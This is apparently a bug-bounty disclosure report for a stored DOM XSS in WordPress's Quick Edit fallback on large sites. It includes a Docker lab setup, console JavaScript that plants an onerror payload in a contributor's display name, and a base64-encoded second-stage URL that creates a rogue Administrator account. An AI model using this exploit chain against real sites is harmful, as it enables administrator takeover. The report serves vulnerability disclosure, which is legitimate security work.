WordPress · Report #3878399
Large-site Quick Edit reparses a Contributor display name into active HTML
How it was found
On sites with more than 10,000 users, a Contributor can save entity-encoded HTML in their display name. When an administrator opens the attacker's crafted Posts-page URL and clicks Quick Edit on the Contributor's pending post, WordPress decodes the stored name with .text() and reparses it through jQuery .prepend(), causing stored DOM XSS.
Affected Asset
- WordPress Core 7.0.2
wp-admin/js/inline-edit-post.js- Posts list Quick Edit fallback for large user counts
Preconditions
- The site has more than 10,000 users, or
wp_is_large_user_count()is otherwise forced true. - The attacker has a Contributor account and owns a pending post.
- The administrator opens an attacker-supplied Posts-page URL containing the second-stage fragment.
- A user with
edit_others_postsclicks Quick Edit on that post. - At exactly 10,000 users, the normal populated author dropdown prevents this branch.
Docker Setup
Save this as compose.yml:
name: wp-quick-edit-large-site-lab
services:
db:
image: mysql:8.4
environment:
MYSQL_DATABASE: wordpress_quick_edit
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
MYSQL_ROOT_PASSWORD: root
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-proot"]
interval: 3s
timeout: 3s
retries: 30
volumes:
- quick_edit_db_data:/var/lib/mysql
wordpress:
image: wordpress:7.0.2-php8.3-apache
depends_on:
db:
condition: service_healthy
ports:
- "8097:80"
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_NAME: wordpress_quick_edit
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
volumes:
- quick_edit_wp_data:/var/www/html
cli:
image: wordpress:cli-php8.3
depends_on:
db:
condition: service_healthy
wordpress:
condition: service_started
user: "33:33"
environment:
WORDPRESS_DB_HOST: db
WORDPRESS_DB_NAME: wordpress_quick_edit
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
entrypoint: ["/bin/sh", "-c"]
command:
- |
until [ -f /var/www/html/wp-config.php ] && wp core version >/dev/null 2>&1; do sleep 2; done
if ! wp core is-installed >/dev/null 2>&1; then
until wp core install --url=http://127.0.0.1:8097 --title='Large Site Quick Edit Lab' --admin_user=admin --admin_password='Admin-Test-9482' [email protected] --skip-email; do sleep 2; done
fi
if ! wp user get contributor >/dev/null 2>&1; then
wp user create contributor [email protected] --role=contributor --user_pass='Contributor-Test-9482'
fi
wp option update user_count 10001
wp rewrite structure '/%postname%/' --hard
volumes:
- quick_edit_wp_data:/var/www/html
volumes:
quick_edit_db_data:
quick_edit_wp_data:
The user_count option models an already-large deployment without creating 10,001 dummy accounts.
Start it:
docker compose up -d
docker compose logs -f cli
Continue after cli exits with code 0.
Steps To Reproduce
- Log in at
http://127.0.0.1:8097/wp-admin/as:
Username: contributor
Password: Contributor-Test-9482
- Open the dashboard console and update the Contributor's own display name:
const nonce = await fetch(`/wp-admin/admin-ajax.php?action=rest-nonce`).then(r => r.text());
const me = await fetch(`/index.php?rest_route=/wp/v2/users/me&context=edit`, {
headers: { "X-WP-Nonce": nonce }
}).then(r => r.json());
await fetch(`/index.php?rest_route=/wp/v2/users/${me.id}`, {
method: `POST`,
headers: { "Content-Type": `application/json`, "X-WP-Nonce": nonce },
body: JSON.stringify({
name: `<img src=x onerror=eval(atob(location.hash.slice(1)))>`
})
});
-
Create any post and click Submit for Review.
-
The Contributor sends the administrator this crafted URL. The fragment contains only a harmless title-change marker:
http://127.0.0.1:8097/wp-admin/edit.php?post_status=pending&post_type=post#ZG9jdW1lbnQudGl0bGU9J1F1aWNrLUVkaXQtWFNTLTcyMSc=
- In a separate browser profile, log in as:
Username: admin
Password: Admin-Test-9482
-
While authenticated, open the crafted URL from step 4. Do not run anything in the administrator's console.
-
Click Quick Edit under the Contributor's post. The browser tab title changes to
Quick-Edit-XSS-721, confirming execution. Before this click, the author cell contains only text and no active image. -
To confirm administrator takeover, open this second attacker-supplied URL and click Quick Edit on the same post:
http://127.0.0.1:8097/wp-admin/edit.php?post_status=pending&post_type=post#KCgpPT57aWYod2luZG93Ll9faDFxZSlyZXR1cm47d2luZG93Ll9faDFxZT0xO2ZldGNoKCcvd3AtYWRtaW4vdXNlci1uZXcucGhwJykudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT57Y29uc3QgZD1uZXcgRE9NUGFyc2VyKCkucGFyc2VGcm9tU3RyaW5nKHQsJ3RleHQvaHRtbCcpO2NvbnN0IG49ZC5xdWVyeVNlbGVjdG9yKCcjX3dwbm9uY2VfY3JlYXRlLXVzZXInKS52YWx1ZTtjb25zdCBiPW5ldyBVUkxTZWFyY2hQYXJhbXMoKTtiLnNldCgnYWN0aW9uJywnY3JlYXRldXNlcicpO2Iuc2V0KCdfd3Bub25jZV9jcmVhdGUtdXNlcicsbik7Yi5zZXQoJ3VzZXJfbG9naW4nLCdoMS1xdWljay1lZGl0LWFkbWluJyk7Yi5zZXQoJ2VtYWlsJywnaDEtcXVpY2stZWRpdC1hZG1pbkBleGFtcGxlLnRlc3QnKTtiLnNldCgncGFzczEnLCdIMS1RdWljay1FZGl0LTk0ODIhJyk7Yi5zZXQoJ3Bhc3MyJywnSDEtUXVpY2stRWRpdC05NDgyIScpO2Iuc2V0KCdyb2xlJywnYWRtaW5pc3RyYXRvcicpO3JldHVybiBmZXRjaCgnL3dwLWFkbWluL3VzZXItbmV3LnBocCcse21ldGhvZDonUE9TVCcsYm9keTpifSl9KX0pKCk=
The administrator performs no console action. After the Quick Edit click, Users contains:
Username: h1-quick-edit-admin
Password: H1-Quick-Edit-9482!
Role: Administrator
Confirmed Result
- WordPress version: 7.0.2
- Contributor self-profile update: HTTP 200
- Pending-post creation: HTTP 201
- Quick Edit author select:
hidden, zero options - Before Quick Edit: zero active elements
- After Quick Edit: tab title
Quick-Edit-XSS-721, one active element - Takeover requests: GET 200 and POST 302 to
/wp-admin/user-new.php - Created account role:
administrator - Temporary automated validation data was removed.
Root Cause
- WordPress preserves valid entities such as
<in the saved display name. - The Posts list initially renders that value safely as text.
- In large-site mode, Quick Edit omits the normal author options.
- The fallback reads the author cell through
.text()and concatenates it into HTML passed to.prepend(). - The decoded
<img onerror>is therefore parsed as a live element.
Impact
- Contributor-controlled JavaScript runs after the administrator opens the crafted link and clicks Quick Edit.
- The script can read nonces and perform administrator-only same-origin actions.
- The confirmed chain creates a persistent Administrator account.